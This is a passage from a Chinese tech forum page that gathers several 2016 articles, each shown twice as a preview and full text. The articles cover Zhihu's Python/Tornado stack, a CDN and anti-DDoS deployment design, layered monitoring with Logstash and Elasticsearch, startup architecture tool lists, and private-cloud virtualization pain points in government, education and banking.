其中peopleid是主键,以firstname和lastname两列建立了一个唯一索引,以firstname,lastname,age三列建立了一个普通索引
 
删除表
 
DROP TABLE  tbl_name;

或者是

DROP TABLE IF EXISTS tbl_name;
清空表数据
TRUNCATE TABLE table_name

知乎技术方案初探

开源技术Ansible 发表了文章 • 0 个评论 • 467 次浏览 • 2016-05-03 13:54 • 来自相关话题

知乎的整个网站架构图如下:




知乎是国内很少的使用Python开发的一个网站,也很多值得我们学习的地方,从知乎让我们也可以了解到一些新的WEB技术。
 
一、Python框架
知乎目前使用的是Tornado框架。Tornado 全称Tornado Web Server,是一个用Python 语言写成的Web 服务器兼Web 应用框架,由 FriendFeed 公司在自己的网站FriendFeed 中使用,被facebook 收购以后框架以开源软件形式开放给大众。
参考链接:http://zh.wikipedia.org/wiki/Tornado 
学习文档:http://www.tornadoweb.cn/documentation 
 
二、数据库
目前知乎采用的是MySQL作为主要的存储,使用SqlAlchemy 为ORM进行数据库的建模或者映射。
 
三、缓存技术
知乎使用Redis来进行缓存、队列、计数或者任务,使用Redis-py为其连接客户端。
Redis参考链接:http://redis.readthedocs.org/en/latest/index.html 
Redis-Py参考链接:http://redis-py.readthedocs.org/en/latest/index.html
 
四、Javascript框架
知乎使用Google的Closure Library作为前端的JavaScript 框架。
 
五、负载处理
目前知乎使用的是nginx做反向代理,用nginx来做静态文件等大数据量的I/O操作。
 
六、图片服务
知乎以前用到的Upyun,现在已经迁移到知乎自己建的图片服务上。
 
七、邮件服务
知乎的邮件发送一开始使用的是Amazon的SES,由于SES有些功能不能满足需求,目前已经转换成Mailgun。
 
八、消息系统
知乎消息系统采用的是comet实现,comet是基于http长连接的“服务器推”技术。
 
九、虚拟环境
作为一个Python网站,知乎很有可能采用Virutalenv来解决纯净的包环境问题。中文文档地址:http://virtualenv-chinese-docs.readthedocs.org/en/latest/index.html
 
十、代码部署
常见的Python项目基本上采用Fabric进行部署,不知道知乎到底用的是哪一个。
 
十一、搜索实现
知乎使用mmseg做中文分词,对应的词根存在redis中作为key,数据库id作为value,每个数据项是一个zset集合。查询时根据key找到对应的value。
 
分享阅读原文:http://www.biaodianfu.com/zhihu-technique.html 查看全部
知乎的整个网站架构图如下:
zh.jpg

知乎是国内很少的使用Python开发的一个网站,也很多值得我们学习的地方,从知乎让我们也可以了解到一些新的WEB技术。
 
一、Python框架
知乎目前使用的是Tornado框架。Tornado 全称Tornado Web Server,是一个用Python 语言写成的Web 服务器兼Web 应用框架,由 FriendFeed 公司在自己的网站FriendFeed 中使用,被facebook 收购以后框架以开源软件形式开放给大众。
参考链接:http://zh.wikipedia.org/wiki/Tornado 
学习文档:http://www.tornadoweb.cn/documentation 
 
二、数据库
目前知乎采用的是MySQL作为主要的存储,使用SqlAlchemy 为ORM进行数据库的建模或者映射。
 
三、缓存技术
知乎使用Redis来进行缓存、队列、计数或者任务,使用Redis-py为其连接客户端。
Redis参考链接:http://redis.readthedocs.org/en/latest/index.html 
Redis-Py参考链接:http://redis-py.readthedocs.org/en/latest/index.html
 
四、Javascript框架
知乎使用Google的Closure Library作为前端的JavaScript 框架。
 
五、负载处理
目前知乎使用的是nginx做反向代理,用nginx来做静态文件等大数据量的I/O操作。
 
六、图片服务
知乎以前用到的Upyun,现在已经迁移到知乎自己建的图片服务上。
 
七、邮件服务
知乎的邮件发送一开始使用的是Amazon的SES,由于SES有些功能不能满足需求,目前已经转换成Mailgun
 
八、消息系统
知乎消息系统采用的是comet实现,comet是基于http长连接的“服务器推”技术。
 
九、虚拟环境
作为一个Python网站,知乎很有可能采用Virutalenv来解决纯净的包环境问题。中文文档地址:http://virtualenv-chinese-docs.readthedocs.org/en/latest/index.html
 
十、代码部署
常见的Python项目基本上采用Fabric进行部署,不知道知乎到底用的是哪一个。
 
十一、搜索实现
知乎使用mmseg做中文分词,对应的词根存在redis中作为key,数据库id作为value,每个数据项是一个zset集合。查询时根据key找到对应的value。
 
分享阅读原文:http://www.biaodianfu.com/zhihu-technique.html

CDN加速助力高并发网站架构

开源技术chris 发表了文章 • 0 个评论 • 489 次浏览 • 2016-04-18 00:15 • 来自相关话题

部署图

部署设计图如下:




架构说明:
用户通过互联网访问网站需要经过的节点如下:
一、要通过域名解析
在域名解析处有两种方式
1、自建,自建需要在域名解析前架设防火墙。

2、使用现有的域名解析提供商,需要设置成CNAME,其实就是另一个域名解析,进行跳转。在刚开始的时候建议先用CNAME方式,部署不影响用户现有方式,容易被用户接受,而且不用暂时不用担心第一级dns的问题。

总之,如果要建设idc加速,防止ddos攻击之类的服务,域名解析服务一定要提供,不管是直接提供dns服务还是间接通过cname转发。
里面的主要技术,是通过用户请求的ip来得到离用户最近的服务器的地址,并通过它来提供服务。如果要进行安全防护,比如sql注入检查,js跨站脚本等可以在这一层进行处理。
 
二、提供虚拟机
虚拟机现在主流有两种方式,一是虚拟主机,主要的软件有开源的openvz,商用的Virtuozzo等,另一类是虚拟机如vmware、xen、kvm等,这类提供虚拟操作系统,可以是异构的。他们两个的对比主要是虚拟主机的利用率比较高,可以一台主流pcserver可以虚拟几十个到上百个虚拟主机,但只能是同一类操作系统。虚拟机的运行效率相对低很多,一般主流pcserver也就十几个左右。他的有点是异构操作系统,备份管理比较方便。当然在建设的时候可以先用虚拟机,然后在虚拟机上建设虚拟主机。
 
如果要提供对外服务,ip地址是比不可少的,对于一个用户来说,一个域名需要几个点,就需要几个ip。
 
三、LVS集群
由于要提供加速等服务,用户直接使用的openvz虚拟主机的性能和效率一般不大,又要提供高可用性,所以需要通过虚拟主机访问lvs集群的数据,通过lvs集群来提供服务。
 
四、Squid
Squid是缓存,尤其是对静态页面和文件有很好加速效果。sina、sohu等都用它来做缓存加速。
 
五、Nginx​
Nginx主要提供反向代理功能,当通过修改或者更新了页面,由nginx来负责更新缓存。还有就是动态网站,也是由nginx来提供服务。
 
Nginx和sqid都可以提供静态缓存功能,两者还要结合起来发挥最大效果。如果要进行安全防护,比如sql注入检查,js跨站脚本等可以在这一层进行处理。

防DDOS

防ddos的主要内容由两个方面:
一、带宽这个是恨重要的地方,据我现在从网上得到的资料,现在主流的idc机房一般最大提供独立百兆端口,而且价格不菲。在这种情况下可以机柜租用。这个还需要调研是否可以提供更大的带宽。
 
二、防火墙设备
需要在接入口部署防火墙,需要根据idc接口端口来确定容量,有的idc机房也提供此服务。

三、流量牵引设备
这个一般idc机房会提供此服务,这个根据需要是否需要购买。 查看全部


部署图


部署设计图如下:
jg.png

架构说明:
用户通过互联网访问网站需要经过的节点如下:
一、要通过域名解析
在域名解析处有两种方式
1、自建,自建需要在域名解析前架设防火墙。

2、使用现有的域名解析提供商,需要设置成CNAME,其实就是另一个域名解析,进行跳转。在刚开始的时候建议先用CNAME方式,部署不影响用户现有方式,容易被用户接受,而且不用暂时不用担心第一级dns的问题。

总之,如果要建设idc加速,防止ddos攻击之类的服务,域名解析服务一定要提供,不管是直接提供dns服务还是间接通过cname转发。
里面的主要技术,是通过用户请求的ip来得到离用户最近的服务器的地址,并通过它来提供服务。如果要进行安全防护,比如sql注入检查,js跨站脚本等可以在这一层进行处理。
 
二、提供虚拟机
虚拟机现在主流有两种方式,一是虚拟主机,主要的软件有开源的openvz,商用的Virtuozzo等,另一类是虚拟机如vmware、xen、kvm等,这类提供虚拟操作系统,可以是异构的。他们两个的对比主要是虚拟主机的利用率比较高,可以一台主流pcserver可以虚拟几十个到上百个虚拟主机,但只能是同一类操作系统。虚拟机的运行效率相对低很多,一般主流pcserver也就十几个左右。他的有点是异构操作系统,备份管理比较方便。当然在建设的时候可以先用虚拟机,然后在虚拟机上建设虚拟主机。
 
如果要提供对外服务,ip地址是比不可少的,对于一个用户来说,一个域名需要几个点,就需要几个ip。
 
三、LVS集群
由于要提供加速等服务,用户直接使用的openvz虚拟主机的性能和效率一般不大,又要提供高可用性,所以需要通过虚拟主机访问lvs集群的数据,通过lvs集群来提供服务。
 
四、Squid
Squid是缓存,尤其是对静态页面和文件有很好加速效果。sina、sohu等都用它来做缓存加速。
 
五、Nginx​
Nginx主要提供反向代理功能,当通过修改或者更新了页面,由nginx来负责更新缓存。还有就是动态网站,也是由nginx来提供服务。
 
Nginx和sqid都可以提供静态缓存功能,两者还要结合起来发挥最大效果。如果要进行安全防护,比如sql注入检查,js跨站脚本等可以在这一层进行处理。


防DDOS


防ddos的主要内容由两个方面:
一、带宽这个是恨重要的地方,据我现在从网上得到的资料,现在主流的idc机房一般最大提供独立百兆端口,而且价格不菲。在这种情况下可以机柜租用。这个还需要调研是否可以提供更大的带宽。
 
二、防火墙设备
需要在接入口部署防火墙,需要根据idc接口端口来确定容量,有的idc机房也提供此服务。

三、流量牵引设备
这个一般idc机房会提供此服务,这个根据需要是否需要购买。

自动立体化运维监控理念

开源技术push 发表了文章 • 0 个评论 • 542 次浏览 • 2016-03-16 23:47 • 来自相关话题

场景

客户投诉有问题,于是研发测试运维开始投入定位和分析问题。A 研发去查日志,但是线上机器好多,一台一台的看, 日志文件太大,网速又慢,只能干等......B 研发同学觉得数据库可能有问题,但是自己又不能直接操作数据库,只能找DBA,但是DBA正好不在......C 运维同学更头大,一边要应付研发和测试的各种问题,一边还要自己查机器CPU、内存、io、网络、程序 状态,而且还那么多机器

解决方案

这种情况就需要一套“立体化、自动化、可视化的监控”,具体实现如下:
1、立体化
将故障分析和定位时涉及的所有的相关信息都要监控起来,共分为5层




(1)业务层收集和分析业务层的访问量、成功率等指标,例如当系统被刷的时候,业务层能够一目了然的看出访问量 会增加很多。(2)应用服务层以URI为维度的分析,可以看到某个URI的访问量、HTTP响应码分布、HTTP响应时间等指标应用服务层与业务层并不是一一对应的关系,一个业务可能对应多个应用服务层的URI,一个URI也可能对应多个业务层的业务(3)接口调用层接口调用层指的是系统依赖的外部系统接口,收集的信息包括访问情况,包括时延、错误码、次数等,当外部系统故障导致我们的业务故障时,通过接口调用层就能够快速的定位具体问题(4)基础组件层基础组件层指系统依赖的底层组件,例如容器、数据库、缓存、消息队列不同的组件收集的信息不一样,例如数据库MySQL的监控指标包括连接数、请求数、查询行数、更新行数等,而缓存包括 使用率、踢出率、命中率等(5)基础设施层基础设施层指操作系统状态、网络状态,收集的信息,包括cpu使用率、内存使用率、网卡流量、连接数等2、自动化不要再由人工去分析日志或者执行命令了,而是由程序自动完成这些动作当故障定位的时候需要这些信息时,可以立即看到,节省故障定位时间为此我们开发了一套数据收集和分析系统,这套系统可以从其它各个系统(包括业务系统、运维系统等)获取并分析数据,例如日志数据、状态数据等数据自动化收集和分析系统的结构如下:Logstash用于采集日志,redis用于缓存日志,elasticsearch用于存储和分析日志



3、可视化故障定位所需要的信息能够通过图表和数字直观的展示出来有了自动化的收集和分析作为基础,可视化只需要将数据做成图表展示即可除此以外,同比、环比这类数据也可以通过系统直观的展示出来,方便快速判断问题所在




内容整理自"面向业务的立体化高可用架构设计"
作者李运华 阿里资深工程师 查看全部


场景


客户投诉有问题,于是研发测试运维开始投入定位和分析问题。
A 研发去查日志,但是线上机器好多,一台一台的看, 日志文件太大,网速又慢,只能干等......
B 研发同学觉得数据库可能有问题,但是自己又不能直接操作数据库,只能找DBA,但是DBA正好不在......
C 运维同学更头大,一边要应付研发和测试的各种问题,一边还要自己查机器CPU、内存、io、网络、程序 状态,而且还那么多机器


解决方案


这种情况就需要一套“立体化、自动化、可视化的监控”,具体实现如下:
1、立体化
将故障分析和定位时涉及的所有的相关信息都要监控起来,共分为5层
ywc.png

(1)业务层
收集和分析业务层的访问量、成功率等指标,例如当系统被刷的时候,业务层能够一目了然的看出访问量 会增加很多。
(2)应用服务层
以URI为维度的分析,可以看到某个URI的访问量、HTTP响应码分布、HTTP响应时间等指标
应用服务层与业务层并不是一一对应的关系,一个业务可能对应多个应用服务层的URI,一个URI也可能对应多个业务层的业务
(3)接口调用层
接口调用层指的是系统依赖的外部系统接口,收集的信息包括访问情况,包括时延、错误码、次数等,当外部系统故障导致我们的业务故障时,通过接口调用层就能够快速的定位具体问题
(4)基础组件层
基础组件层指系统依赖的底层组件,例如容器、数据库、缓存、消息队列
不同的组件收集的信息不一样,例如数据库MySQL的监控指标包括连接数、请求数、查询行数、更新行数等,而缓存包括 使用率、踢出率、命中率等
(5)基础设施层
基础设施层指操作系统状态、网络状态,收集的信息,包括cpu使用率、内存使用率、网卡流量、连接数等
2、自动化
不要再由人工去分析日志或者执行命令了,而是由程序自动完成这些动作
当故障定位的时候需要这些信息时,可以立即看到,节省故障定位时间
为此我们开发了一套数据收集和分析系统,这套系统可以从其它各个系统(包括业务系统、运维系统等)获取并分析数据,例如日志数据、状态数据等
数据自动化收集和分析系统的结构如下:
Logstash用于采集日志,redis用于缓存日志,elasticsearch用于存储和分析日志
logarch.png

3、可视化
故障定位所需要的信息能够通过图表和数字直观的展示出来
有了自动化的收集和分析作为基础,可视化只需要将数据做成图表展示即可
除此以外,同比、环比这类数据也可以通过系统直观的展示出来,方便快速判断问题所在
ksh.png


内容整理自"面向业务的立体化高可用架构设计"
作者李运华 阿里资深工程师


创业公司技术架构详解

开源技术Rock 发表了文章 • 0 个评论 • 664 次浏览 • 2016-03-10 23:06 • 来自相关话题

提纲

[]产品[/][]技术[/][]数据[/][]运维[/]

创业

核心:以产品为核心团队人数:初创团队人数控制在10人以下,最佳是5,6人左右 技术选型:成熟技术,简洁高效解决问题 目标:快速完成beta 版本上线

产品中心

[]Axure做产品原型;[/][]直接画草图 [/]
一切以简单为指标,能说明问题就行。

语言框架

[]linux+apache(nginx)+mysql+php(CodeIgniter ,Symfony...) [/][]uwsgi+python(Django,Tornado,Pyramid...) [/][]mongodb+nodejs(Express...)[/][]java[/]

十万级PV

二台机器部署系统,传统web系统,LAMP。




百万PV






移动系统问题

[]与传统web相比,移动出现多版本(1.0,2.0,3.0...),以及版本升级问题[/][]网络不稳定(3g,wifi)[/]

开源软件

负载均衡:lvs、haproxy、nginx前端缓存代理:squid、varnish、ATSweb server :apache、nginx、Tomcatcache:memcached、redis 关系型数据库:mysql、postgresql 文档型数据库:mongodb nosql:Tokyo Cabinet、leveldb全文检索:sphinx、lucene、solr 分布式搜索引擎:elasticsearch 中文分词:mmseg、ictclas爬虫采集:scrapy监控系统:nagios、cacti、zabbix 、Ganglia推荐系统:mahout消息队列:: zeroMQ、RabbitMQ、Kafka异步作业队列:gearman 分布式文件系统:fastdfs、moosefs 项目管理:JIRA知识共享:wiki、Confluence代码管理:git、svn移动统计数据:countly 分布式计算存储:mapreduce、hadoop还有好多好多,就不一一介绍了!

移动初始架构














统计数据可视化和推荐系统






监控






架构感悟

[]没有一层不变的架构,随着业务发展而变化 [/][]业务不同,架构不同,发现问题解决问题 [/][]保持简洁[/][]易于扩展,容错[/] 查看全部


提纲


    []产品[/][]技术[/][]数据[/][]运维[/]


创业


核心:以产品为核心
团队人数:初创团队人数控制在10人以下,最佳是5,6人左右 
技术选型:成熟技术,简洁高效解决问题 
目标:快速完成beta 版本上线


产品中心


    []Axure做产品原型;[/][]直接画草图 [/]

一切以简单为指标,能说明问题就行。


语言框架


    []linux+apache(nginx)+mysql+php(CodeIgniter ,Symfony...) [/][]uwsgi+python(Django,Tornado,Pyramid...) [/][]mongodb+nodejs(Express...)[/][]java[/]


十万级PV


二台机器部署系统,传统web系统,LAMP。
bw.png


百万PV


bbw.png


移动系统问题


    []与传统web相比,移动出现多版本(1.0,2.0,3.0...),以及版本升级问题[/][]网络不稳定(3g,wifi)[/]


开源软件


负载均衡:lvs、haproxy、nginx
前端缓存代理:squid、varnish、ATS
web server :apache、nginx、Tomcat
cache:memcached、redis 
关系型数据库:mysql、postgresql 
文档型数据库:mongodb 
nosql:Tokyo Cabinet、leveldb
全文检索:sphinx、lucene、solr 
分布式搜索引擎:elasticsearch 
中文分词:mmseg、ictclas
爬虫采集:scrapy
监控系统:nagios、cacti、zabbix 、Ganglia
推荐系统:mahout
消息队列:: zeroMQ、RabbitMQ、Kafka
异步作业队列:gearman 
分布式文件系统:fastdfs、moosefs 
项目管理:JIRA
知识共享:wiki、Confluence
代码管理:git、svn
移动统计数据:countly 
分布式计算存储:mapreduce、hadoop
还有好多好多,就不一一介绍了!


移动初始架构


mobarch.png

cd.png

insearch.png


统计数据可视化和推荐系统


view.png


监控


monitor.png


架构感悟


    []没有一层不变的架构,随着业务发展而变化 [/][]业务不同,架构不同,发现问题解决问题 [/][]保持简洁[/][]易于扩展,容错[/]

私有云架构行业云介绍

开源技术Rock 发表了文章 • 0 个评论 • 670 次浏览 • 2016-02-29 23:40 • 来自相关话题

顾客就是上帝

传统的行业IT架构实现“云”化的过程多是基于现有业务系统采用为虚拟化,并辅之以资源池化等措施,渐渐构建为一个完整的私有云系统。由于各行业的业务系统差异较大,私有云落地过程中总会遇到这样那样的问题。作为一个技术人,将从私有云在典型行业的典型部门中落地的过程中,简述厂商在虚拟化方面很有可能遇到的痛点。

政务

政企中的桌面按职能划分包括办公、财务等,而这些正是桌面云的期望场景。加之目前国内政企在一些关键项目上非常乐意采用国内虚拟化产品,这也就给国内的IT厂商带来了机遇。场景分析:政企中的私有云,尤其是虚拟化部分近些年来一直在进行尝试性地推广。下面我以需求最直接的桌面云进行叙述。



用户桌面:面向办公的桌面,一般需求为Mircosoft Office、邮件处理等文字密集型软件;通信类软件一般为国内厂商开发的非广域网通信软件以及QQ;防病毒软件种类比较多,目前卡巴斯基、诺顿等占 多,360使用较少;影音类软件使用局限于网页flash,或者国内厂商定制的流媒体客户端。对于财务桌面,需求除普通办公桌面外也有一些财务类软件,而这些软件对桌面负荷较普通办公桌面会高出一定量的资源消耗,同时也会有U-Key、指纹 仪等终端设备,所以对于这类桌面,我们一般进行特殊设置,比如将其固定到某台服务器上运行,并赋予一定优先级,保证资源优先分配。在普通桌面与财务桌面以外,也有浮动桌面可供出差人员或者来访人员临时使用,此种桌面与一般办公桌面无异,但可能要求有严格的用户检查控制以及无状态模式要求,防止恶意使用导致损失。系统维护:政企中的网络管理人员一般为具有一定计算机水平的专业人士,并且他们在部门里推广办公桌面的时候起着很重要的作用。所以我们首先获得他们对产品的认可,解决他们在现有架构中遇到的管理困难。 不管在哪种场景中,管理人员对产品的认可,都是产品价值的体现之一 。安全保障:政务IT系统中的安全模块在系统的每个层次里都有体现,包括桌面、网络、交换设备、服务器、操作系统等,同时也可能会与其他基础设备连接,每个模块 相对独立又保持联系。一般在涉及安全的场景中,我们会采取服务端镜像加密和其他一系列的安全保障工作,兼顾性能和安全的同时保证桌面体验,这点在以后的章 节中会有所阐述。虚拟化融合架构:物理机与虚拟机同时提供服务的模式已经不是什么新东西了,早些年就已经有一大批使用虚拟服务器的政企客户,但涉及的产品基本以国外产品为主。随着国 产化的一系列强制措施和美国对华的服务器CPU的禁售,国产品牌才开始崭露头角。在一些服务器消耗量比较大的政企客户中,也渐渐地在周边业务系统上使用国 产虚拟化产品。我相信在未来几年内,国内虚拟化厂商会在政务云的服务器虚拟化中会占有很大比例,并且是不可替代的重要组成。痛点----->文件监控:谈政务云,多数标书中都会提到的一点就是文件监控。一般虚拟化厂商在这方面积累较少,使用fs-notify去开发有一定开发量,所以多数人会使用 第三方产品进行集成。国内常用的文件监控方法即使用Windows文件系统事件通知机制,软件相对比较成熟,在此我就不一一推荐了。那么,既然有现成的 解决方案,那么我为什么要把它列为虚拟化软件的痛点呢?从我的使用经验来看,主要有以下原因:技术方面:此类软件一般不止监控文件读写、目录读写、重命名、拷贝,同时也会进行磁盘扫描,而这点,对于用于桌面云的增量磁盘来说是比较高的IOPS负载。对于一台12盘位的15K SAS机械硬盘存储设备,最多能扛住40到70台虚拟机同时扫描(数据来自某国产存储)。销售方面:标书中有时会提到“上述功能需来自同一厂商提供”,这就需要虚拟化厂商有一定实力,传统监控软件厂商才会与之合作为其定制,而这点对于现 在雨后春笋般的虚拟化厂商而言,正是痛处——目前国内各家虚拟化系统差异化严重,导致传统厂商为虚拟化定制的成本相对会比较高,而不愿意为国内中小厂商定 制了。目前这一状况随着国内市场的虚拟化推进正有所改善。痛点----->权限管理:政务中的权限管理包括:虚拟机控制权限管理、桌面软件安装权限管理、文件权限管理,对于开源虚拟化厂商而言,只有虚拟机控制权限自己可以控制,桌面 软件安装权限管理可以借助Windows AD来进行管理,当然需要一定开发量,而较细颗粒的文件权限管理则一样需要借助第三方。同文件监控一样,但是它一般不会进行后台文件扫描,但技术上要求是要和虚拟化紧耦合的状态,用某次客户交流的原话,“你最好界面里有一个控制台,我可以看到虚拟机里的Word文档,同时我也可以控制哪些人访问哪些文件”目前来说,这类权限管理软件可以配合集中/分布式存储软件(云存储),一般虚拟化厂商要在开源云存储的基础上进行大量修改才能达到国内政企客户的基本要求。目前国内有许多私有网盘厂商做的都不错,但是比较缺少它们和虚拟化厂商深度合作的案例。总结:政务私有桌面项目中,对桌面“虚拟化”的概念不是很有需求,除非有特别文件下发,即使下发后,客户还是倾向于按照传统的那一套路来。如果要在这个行业中产生影响,建议与传统软件厂商合作,一起发力。

教育

教育行业是目前国内大多数虚拟化厂商都在发力的市场,而这方面做的比较好的厂商有两类。一类是专注教育行业数十年乃至更长的传统软件厂商,他们拥有难以复制的经验,其私有云产品往往会弱化“虚拟化”概念,有强烈的“传统”色彩;还有就是专注教育行业的新厂商,他们的对教育行业的需求定位是从私有云的特性考虑,在解决问题的同时也能够将新理念传达至客户。学校对于虚拟桌面的需求近几年开始增长,教学机房、服务器机房、教师电脑等都有虚拟化产品的进入。而他们在虚拟化产品的采购上,关心桌面体验与服务器性能的同时,也比较在乎“成本”的问题。场景分析:
通用教学云模型 




用户桌面:学校中使用的桌面,一般可分为教师办公桌面和机房教学桌面。
教师桌面即普通办公桌面,主要用途即为老师提供日常办公软件,一般无特殊要求。对于机房教学桌面,有安装软件繁多、使用时间固定、并发量大等特点,比较考验虚拟化产品的综合素质。桌面安装软件除日常办公软件外,也包括各种文字、图形密集类教学软件,同时也可能会安装影音广播教学类软件。无特殊要求外,很少安装杀毒软件。系统管理:对于机房教学桌面,有安装软件繁多、使用时间固定、并发量大等特点,比较考验虚拟化产品的综合素质。桌面安装软件除日常办公软件外,也包括各种文字、图形密集类教学软件,同时也可能会安装影音广播教学类软件。无特殊要求外,很少安装杀毒软件。安全保障:教学环境中的安全要求一般比较低,除了常见的流量安全管理软件外,很少有桌面级监控软件。每个老师的桌面一般由管理员定期提醒查杀,主要维护工作还是由各个老师来做。痛点----->多媒体教学:那么对于进入教育行业的国内虚拟化厂商,可能都会遇到一个新旧交替环境中必须面对的问题——多媒体广播教学。传统教学机房使用多媒体广播卡或者广播教学软件来进行教学。多媒体广播卡即是在学生机、教师机上安装的硬件,广播时将教师端桌面转化后直接覆盖学生机的VGA信号,此时使用虚拟桌面并不影响广播体验,但是采用纯软件的多媒体教学系统时情况就有所不同了。这类软件进行视频广播时,默认会利用本地显卡的硬解能力,而一般虚拟化产品中并没有符合要求的模拟GPU硬件支持,所以会带来体验上的硬伤。不过比较喜人的是,这些厂商已经意识到这个问题,开始在其广播教学软件中加入了软解选项从而改善体验。还有就是在语音质量要求比较高的教学环境中,虚拟化厂商有时也会遭遇意外。语音质量的好坏,除了网络环境外,教学软件、虚拟化软件也有一定影响。在某次测试项目中,公司网络环境下的虚拟桌面语音很流畅、延迟极低,但是到客户机房后,就出现了杂音,声音小等问题。后来我们尝试优化协议、简化虚拟桌面网络拓扑,然后才取得令人满意的效果;多说一点,在呼叫中心(VoIP、传统PBX)这种语音传输质量要求极高的场景中,有时必须特定硬件配合才能完成虚拟桌面中语音的流畅。痛点----->3D教学:对于设计专业、工科专业来说,3D设计、3D模拟、3D建模都是很平常的科目,而这类软件采用学生机本地独显能很好地处理,但是到了虚拟化产品中就是整个开源虚拟化头疼的问题了。一般这种情况下,开源软件从技术上的处理方法可能不如闭源软件(Citrix、PCoIP、RDP RemoteFX)来的稳妥。由于它涉及到桌面协议、模拟器、GPU等相关知识,所以其开发难度较大,国内私有云厂商在未与GPU提供商合作的前提下很难在点有所突破。常见设计类软件比如Adobe Fireworks,在虚拟桌面中我们将“显示渲染”设置为“软件”,能够比较流畅的拖动、显示模型,但是此时会占用大量带宽,原生Spice协议此时甚至维持在20MBps,对于拥有几十台教学机的机房而言这点是不可接受的。另一种妥协的解决方式是采用RDP,带宽能降到10MBps,但是使用场景就被大大限制了。目前,国内这些3D教学类的项目,采用Citrix的多于VMWare,也有人使用Hyper-V,而极少有国内厂商提供KVM虚拟化的方案。我曾在KVM下的GPU虚拟化以及流媒体桌面协议有所尝试。总结:目前国内教育行业虚拟化前景广阔,但是伴随着现有kvm虚拟化的一些弱点以及人们面对虚拟桌面教学的担心,厂商在全面推广虚拟桌面的道路上走的比较艰辛。比较令人欣慰的是国内已经有大规模并发虚拟桌面的实例了,这点我相信会是一个很好的开端。

银行

目前国内教育行业虚拟化前景广阔,但是伴随着现有kvm虚拟化的一些弱点以及人们面对虚拟桌面教学的担心,厂商在全面推广虚拟桌面的道路上走的比较艰辛。比较令人欣慰的是国内已经有大规模并发虚拟桌面的实例了,这点我相信会是一个很好的开端。场景分析:



私有云在银行中目前在研发中心、服务集群、营业网点中都有应用,由于笔者经验有限,在此我们进行的讨论仅限于柜台虚拟桌面。

银行中现阶段核心业务由于历史原因,仍有相当部分的小型机在运行,x86服务器份额也在逐渐提高,并且慢慢取代小机成为核心业务承载。由于银行IT的特殊要求,他们使用虚拟化的步伐比较缓慢,一般在其研发机构或者网点柜台中使用较多。用户桌面:柜台桌面功能较为单一,从早期的DOS系统到现在的Win7桌面,柜员也只限于在上面查询、办理业务。所需软件除Office以为,也有一部分本行开发的软件与指定的杀毒软件。对于外设,常见的有高清摄像头、POS设备、读卡设备等。系统维护:柜台桌面一般会要求还原模式的桌面,大型网点部署在网点内部,小型网点部署在机房,由IT部门定期维护,系统一旦部署完成之后维护量较少。他们对于虚拟化的要求既是性能和功能只要满足,界面上复杂一些也能接受。痛点----->外设接入:那么问题来了,银行柜员桌面的外接设备繁多,除USB口以外也有串口、并口等设备。这些对于物理机来说都很轻松,但是到了虚拟机以后,就会出现这样那样的问题。读者于此可能会问,外接设备多对于技术上来说只是个协议转发的问题,有什么痛处呢?笔者总结有如下原因:设备接入到虚拟机以后,数据传输所需的额外带宽可能会对柜员机的其他业务产生影响,降低实时性,但是如果将可压缩数据进行无损压缩,对服务器和客户端又带来一定压力,需要较高性能的服务器与客户的才能保证实时性,势必又会导致虚拟化成本的上升。由于设备与接口繁多,一般的虚拟化厂商需要投入很大一部分物力与财力,甚至要开发专门的硬件设备来进行设备的重定向操作。很多设备尽管接口相同,但经过重定向以后仍然会出现不可识别的情况,需要厂商到现场进行测试甚至开发。正因为以上两点综合技术因素,现在众多虚拟化厂商谈到银行外设时仍谈虎色变。
痛点----->高实时性:影响柜台桌面实时性要求的主要因素有两个,一个是客户端到桌面的连接,另一个是桌面到业务系统的连接。一般由于虚拟桌面是由IT部门直接部署在离业务系统逻辑位置较近的地方,其网络质量较高,可以保证桌面到业务系统的延迟满足要求。但是客户端到桌面的网络是使用银行专有网络,网点到机房的带宽有限,并发高了以后网络拥堵所造成的延迟甚至丢包都会出现。总结:银行业相较于其他行业,其IT技术既先进又保守,而虚拟化产品除VMWare老牌厂商或者有行业背景的厂商外,他们的IT部门或多或少的有一定排斥心理。虽然银行客户交涉难度较大,但是如果成功以后就会树立很良好的产品及企业形象,所以,请努力。 查看全部


顾客就是上帝


传统的行业IT架构实现“云”化的过程多是基于现有业务系统采用为虚拟化,并辅之以资源池化等措施,渐渐构建为一个完整的私有云系统。由于各行业的业务系统差异较大,私有云落地过程中总会遇到这样那样的问题。作为一个技术人,将从私有云在典型行业的典型部门中落地的过程中,简述厂商在虚拟化方面很有可能遇到的痛点。


政务


政企中的桌面按职能划分包括办公、财务等,而这些正是桌面云的期望场景。加之目前国内政企在一些关键项目上非常乐意采用国内虚拟化产品,这也就给国内的IT厂商带来了机遇。
场景分析:
政企中的私有云,尤其是虚拟化部分近些年来一直在进行尝试性地推广。下面我以需求最直接的桌面云进行叙述。
zwyun.png

用户桌面:
面向办公的桌面,一般需求为Mircosoft Office、邮件处理等文字密集型软件;通信类软件一般为国内厂商开发的非广域网通信软件以及QQ;防病毒软件种类比较多,目前卡巴斯基、诺顿等占 多,360使用较少;影音类软件使用局限于网页flash,或者国内厂商定制的流媒体客户端。
对于财务桌面,需求除普通办公桌面外也有一些财务类软件,而这些软件对桌面负荷较普通办公桌面会高出一定量的资源消耗,同时也会有U-Key、指纹 仪等终端设备,所以对于这类桌面,我们一般进行特殊设置,比如将其固定到某台服务器上运行,并赋予一定优先级,保证资源优先分配。
在普通桌面与财务桌面以外,也有浮动桌面可供出差人员或者来访人员临时使用,此种桌面与一般办公桌面无异,但可能要求有严格的用户检查控制以及无状态模式要求,防止恶意使用导致损失。
系统维护:
政企中的网络管理人员一般为具有一定计算机水平的专业人士,并且他们在部门里推广办公桌面的时候起着很重要的作用。所以我们首先获得他们对产品的认可,解决他们在现有架构中遇到的管理困难。 不管在哪种场景中,管理人员对产品的认可,都是产品价值的体现之一 。
安全保障:
政务IT系统中的安全模块在系统的每个层次里都有体现,包括桌面、网络、交换设备、服务器、操作系统等,同时也可能会与其他基础设备连接,每个模块 相对独立又保持联系。一般在涉及安全的场景中,我们会采取服务端镜像加密和其他一系列的安全保障工作,兼顾性能和安全的同时保证桌面体验,这点在以后的章 节中会有所阐述。
虚拟化融合架构:
